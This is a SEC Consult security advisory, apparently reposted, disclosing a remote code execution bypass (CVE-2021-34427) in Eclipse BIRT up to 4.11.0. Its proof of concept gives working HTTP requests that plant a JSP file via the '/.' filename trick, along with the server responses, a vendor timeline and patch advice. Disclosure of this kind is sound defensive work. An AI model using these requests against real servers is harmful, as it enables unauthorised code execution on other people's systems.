Eclipse Business Intelligence Reporting Tool 4.11.0 Remote Code Execution

2022.12.31
Credit: Armin Stock
Risk: High
Local: No
Remote: Yes
CWE: CWE-20


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

SEC Consult Vulnerability Lab Security Advisory < 20221216-0 > ======================================================================= title: Remote code execution - CVE-2021-34427 bypass product: Eclipse Business Intelligence Reporting Tool (BiRT) vulnerable version: <= 4.11.0 fixed version: 4.12 CVE number: CVE-2021-34427 impact: High homepage: https://eclipse.github.io/birt-website/ found: 2022-10-05 by: Armin Stock (Atos) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos company Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "With BIRT you can create data visualizations, dashboards and reports that can be embedded into web applications and rich clients. Make information out of your data!" https://eclipse.github.io/birt-website/ Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. Vulnerability overview/description: ----------------------------------- 1) Remote code execution - CVE-2021-34427 bypass The vulnerability described in CVE-2021-34427 (https://www.cvedetails.com/cve/CVE-2021-34427/) allows an attacker to execute code on the server, by creating a `.jsp` file with the `BiRT - WebViewerExample`. This was fixed with the following code: ------------------------------------------------------------------------------- // viewer/org.eclipse.birt.report.viewer/birt/WEB-INF/classes/org/eclipse/birt/report/context/ViewerAttributeBean.java#L1081 protected static void checkExtensionAllowedForRPTDocument(String rptDocumentName) throws ViewerException { int extIndex = rptDocumentName.lastIndexOf("."); String extension = null; boolean validExtension = true; if (extIndex > -1 && (extIndex + 1) < rptDocumentName.length()) { extension = rptDocumentName.substring(extIndex + 1); if (!disallowedExtensionsForRptDocument.isEmpty() && disallowedExtensionsForRptDocument.contains(extension)) { validExtension = false; } if (!allowedExtensionsForRptDocument.isEmpty() && !allowedExtensionsForRptDocument.contains(extension)) { validExtension = false; } if (!validExtension) { throw new ViewerException(BirtResources.getMessage( ResourceConstants.ERROR_INVALID_EXTENSION_FOR_DOCUMENT_PARAMETER, new String[] { extension })); } } } ------------------------------------------------------------------------------- This fix can be easily bypassed by adding `/.` to the filename which allows an attacker to execute arbitrary code. Proof of concept: ----------------- 1) Remote code execution - CVE-2021-34427 bypass The old exploit results in an error message: ------------------------------------------------------------------------------- GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " + getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp<@/urlencode> HTTP/1.1 Host: IP:18080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- Response: ------------------------------------------------------------------------------- HTTP/1.1 200 Set-Cookie: JSESSIONID=A1E37E7FEC80DFFF155CAF9F642ADEB7; Path=/birt; HttpOnly Content-Type: text/html;charset=utf-8 Date: Wed, 05 Oct 2022 06:14:54 GMT Connection: close Content-Length: 4644 <html> <head> <title>Error</title> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"/> </head> <body> <div id="birt_errorPage" style="color:red"> <span id="error_icon" style="cursor:pointer" onclick="if (document.getElementById('error_detail').style.display == 'none') { document.getElementById('error_icon').innerHTML = '- '; document.getElementById('error_detail').style.display = 'block'; }else { document.getElementById('error_icon').innerHTML = '+ '; document.getElementById('error_detail').style.display = 'none'; }" > + </span> Invalid extension - "jsp" for the __document parameter. ------------------------------------------------------------------------------- But adding `/.` to the end of the filename creates the file on the server as before: ------------------------------------------------------------------------------- GET /birt/document?__report=test.rptdesign&sample=<@urlencode_all><% out.println("OS: " + System.getProperty("os.name")); out.println("Current dir: " + getServletContext().getRealPath("/"));%><@/urlencode_all>&__document=<@urlencode>./test/info-new.jsp/.<@/urlencode> HTTP/1.1 Host: IP:18080 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Connection: close Cookie: JSESSIONID=C2A5FE509AD277742111569F8656881A Upgrade-Insecure-Requests: 1 ------------------------------------------------------------------------------- ------------------------------------------------------------------------------- HTTP/1.1 200 Set-Cookie: JSESSIONID=5CC070E6E07D94816BF67A162E7DD8D2; Path=/birt; HttpOnly Content-Type: text/html;charset=utf-8 Date: Wed, 05 Oct 2022 05:26:01 GMT Connection: close Content-Length: 283 <html><head><title>Complete</title><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=utf-8"></head> <body style="background-color: #ECE9D8;"> <div style="font-size:10pt;"><font color="black"> The report document file has been generated successfully.</font> </div></body></html> ------------------------------------------------------------------------------- This allows the execution of the provided `JSP` code, by calling `/birt/test/info-new.jsp`. Vulnerable / tested versions: ----------------------------- The following version has been tested, but all versions <= 4.11 are vulnerable. * 4.10.0 (2022-10-01) Vendor contact timeline: ------------------------ 2022-11-07: Vendor contacted via bugs.eclipse.org (https://bugs.eclipse.org/bugs/show_bug.cgi?id=580994) 2022-11-17: Vendor confirmed the bypass and is working on a fix. 2022-11-17: Vendor provided a fix. 2022-11-27: The fix was tested and could be bypassed again. 2022-11-27: Vendor acknowledged the bypass and provided a new fix. 2022-11-28: The fix was tested and we were not able to bypass it. 2022-11-30: Vendor releases patched version 4.12 2022-12-16: Public release of security advisory. Solution: --------- Update Eclipse BIRT to version 4.12 or newer from the vendor's website: https://projects.eclipse.org/projects/technology.birt/releases/4.12.0 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult, an Atos company Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos company. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF Armin Stock / @2022


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